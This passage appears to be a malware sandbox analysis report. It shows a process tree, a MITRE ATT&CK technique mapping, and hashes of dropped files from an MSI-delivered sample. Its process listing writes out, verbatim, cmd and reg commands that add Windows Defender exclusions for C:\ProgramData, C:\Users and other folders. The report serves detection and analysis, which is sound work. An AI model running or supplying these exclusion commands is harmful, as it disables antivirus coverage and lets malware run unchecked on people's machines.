C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4656
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C:\Windows\system32\cmd.execmd.exe1⤵PID:3760
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4204 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2752
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2432 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:2792
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C:\Windows\system32\cmd.execmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4428 -
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f2⤵
- Windows security bypass
PID:4356
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Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Event Triggered Execution
1Installer Packages
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Impair Defenses
1Disable or Modify Tools
1Indicator Removal
1Clear Persistence
1Modify Registry
2System Binary Proxy Execution
1Msiexec
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e5888b4.rbs
- Size 7KB
- SHA256 eb46656d896029ba456581a9d1df72e5183d143ad46e0891cf942fd7983380cc
- MD5 421d86190be9349c42ad50640efc017b
- SHA1 8a5966b6df70d5abbca79a188977a518af1549c0
- SHA512 462479bd376e30ff07b3383ae952928c2ea38dc0281432262d2c52fe5fb2d53dc9131c71a4f29f51e5c7f2d9ca64b512774570f3793d013c8495401a66626bc3
- SSDEEP 96:y43uu1eydSUUwnrD1CsThqFUwnrD1C6je1Hp/ThqlHU25yeWl0lnCKpljeHbAjBz:y4TeRz4rDIIz4rDIxjil4KpI4
- TLSH T132F1110666144BF3F8E66B35CB17176637E2D2E6929433DB1CCD80241FC37992E6868E
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\lcjDiM\UxEnhance64.dll
- Size 3.1MB
- SHA256 e2e69e6635dcf52c0d9c26034f80357cd251f9537b61a632614302b71bc200a7
- MD5 8f782abdc7f91b474caea8adcec282d8
- SHA1 cb84870898539f2a53f0caef3810be9254e18869
- SHA512 d8a6bcb0d467599e1e8d2e8839ac3394e1c7cf51d39f8fd34bfa4404ce61f46e274511e9be607f8e8342a81746022af2636b867e357d82c9729607e3c7b5d64c
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+Z:P9m29xx3Tiqt06ox6+z2rNNrKoZ
- TLSH T18AE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\lcjDiM\YF2Dbb.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\lcjDiM\adoresd.dat
- Size 4.8MB
- SHA256 d5ef6e62a586a696db957c4488cc1c46d1e993a14d24f2cdb3021c2c8289229c
- MD5 e93717d79220461cd7e557cdfbed2e15
- SHA1 dfc5dc36f8202270b9cbc3b9874f66fef4f2317f
- SHA512 17edf4185ada3d70a8e9ff9860e474645a1306a5ece4992901749f8b31baef363356e55ab8b452226bfdfb83e1f0ded8fb9e9153cf8f02eb8efaa04a3b345eee
- SSDEEP 98304:fuZ630UjjOt6udZuYb7Ad2WAqSFmtNYNF/ltN3fjZgRnXxs:oQDPnORb7AdPEm7Y7ltlVgxs
- TLSH T192363339536D9C62DDC7A0F8A49D4596FF683D60FAE2A006B47C1D213015DFB986FE08
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\lcjDiM\msadox.tb
- Size 8KB
- SHA256 01351e605db44e629e40b2bb20acc1c57233b57558b6db6d5b9a9256e38e9adc
- MD5 3c988f69ed2e62b64ac6b6967781e71e
- SHA1 ed8ac35be0912eb19c0327e47fc72c88957ec7f2
- SHA512 a406943632b563098ddeef9f62971f4c2177bb4c2f77e6a1452f3c0eafc72d4ca91cac2caaeb9cfe6dbe47faceff6fbaa168992ba53135b3a696e61d632e9f53
- SSDEEP 192:eqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:esZqZOXQ3uqvR2Kfzp
- TLSH T194029E05D7A20DC3D2116C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI8A89.tmp
- Size 5.8MB
- SHA256 d4f0a7d05fd811fd2c9eeadb14696a445dc7b0735471390333aa464420f8f2b6
- MD5 8524ea3b8aca87d8db13ff2198e720fb
- SHA1 7fd63d851d9dd8982a4ba7d7ada736f24732fe61
- SHA512 5799efb6ce524ffec37ac5f55ccdebbc49a9d17c26eee89085a1c12f48d950026f4de87f887c14369d5d51d50db742fc56b9ca5ba0c2a46252053f4e6118e8f0
- SSDEEP 98304:kAnifxFCNdq4yN9vE1bVdEpUGoPHN9HGlZCCwCJtXG4X32KvqiHRB:kyOPsdq1N9vE1bPEiGut9HqgcPGY32K3
- TLSH T13E5633D1AA8A2A78D077D7F446976A3E701E3BD24E634C0DBAFA2F1D5D332156839301
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\e5888b3.msi
- Size 5.8MB
- SHA256 770526d055f21b6c3e4799fad88d357ebabc6774f81452952f51aba3a05fa817
- MD5 47690112f7254e72888682e69d3203b6
- SHA1 f8c90372e4b03f79970e02f421dba121cfabbe8f
- SHA512 dfcffd3ade9cb45e1d37e379ca7201fb4132be3ce0bb6ceabf1a5cbb316cd697ecf5fed1a0698fa6f94bfb200321f7810e7fdcbaa78de01eac0d12525c361f39
- SSDEEP 98304:3AnifxFCNdq4yN9vE1bVdEpUGoPHN9HGkZCCwCJtXG4X32KvqiHR0:3yOPsdq1N9vE1bPEiGut9HzgcPGY32Ke
- TLSH T166563391BE8A2B39D027D7B44696663E702D7FD14E634C0ABAFA3F1D5E323152879340
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 24.1MB
- SHA256 f3e54041137a902049f2a5d3ef0cc130cac2bb629c04638c066aa62dbe059024
- MD5 1db2a884d777fa147b4fe0817cf4ac66
- SHA1 523134e1ee5c17aca381b6396c376725abbe174e
- SHA512 f5f2e9f3523e6b63eb389bf63e06640d8fc8db3c0035280a94b59d72e740610894b8e2b8bbf8e4d84e2c13695eca2da3aae3de66aeca29960705489a9a0059ac
- SSDEEP 24576:Lu8m+1zjdoO/vvTLrWNOoWaZsEEjF1dSBbGNPic1FUaMeK0wo/lEFb2RY:D
- TLSH T1AA47F52437F92510E7F39E3DACF06A2349397D9B9C199E8D05811F4E0921BB1E872F5A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{6e0928ee-0000-0000-0000-d01200000000}\System Volume Information\SPP\OnlineMetadataCache\{a6a2d13b-3dd6-4c83-a2a5-e92e652a7e11}_OnDiskSnapshotProp
- Size 6KB
- SHA256 20e9a39f76bbfaaf1ec937192251921dd81786d3924001bde30bc9025b61d817
- MD5 c428fa4e784ee1973baf9ed30b997e27
- SHA1 e40449b103bbab01480726fe84195dac2a80cfd6
- SHA512 31426f946e79e29976cfb9c12457c34c276d71b3747051019c51e61e50aa66e125e670ab446fa9b045466dcb4bc26c18969ba7048fa19af543968689a6613e27
- SSDEEP 96:F3WecfFWvc8DD84LTHzbOHXOHBlBRQ88Sc9XE56tOSVQpu:lJK+b++ZVm
- TLSH T1DED19A085AF54711E2B3AB322DF14557A877B911EF33CB8E0198238E6670A10F976F5B
- MD5 SHA1 SHA512 SSDEEP TLSH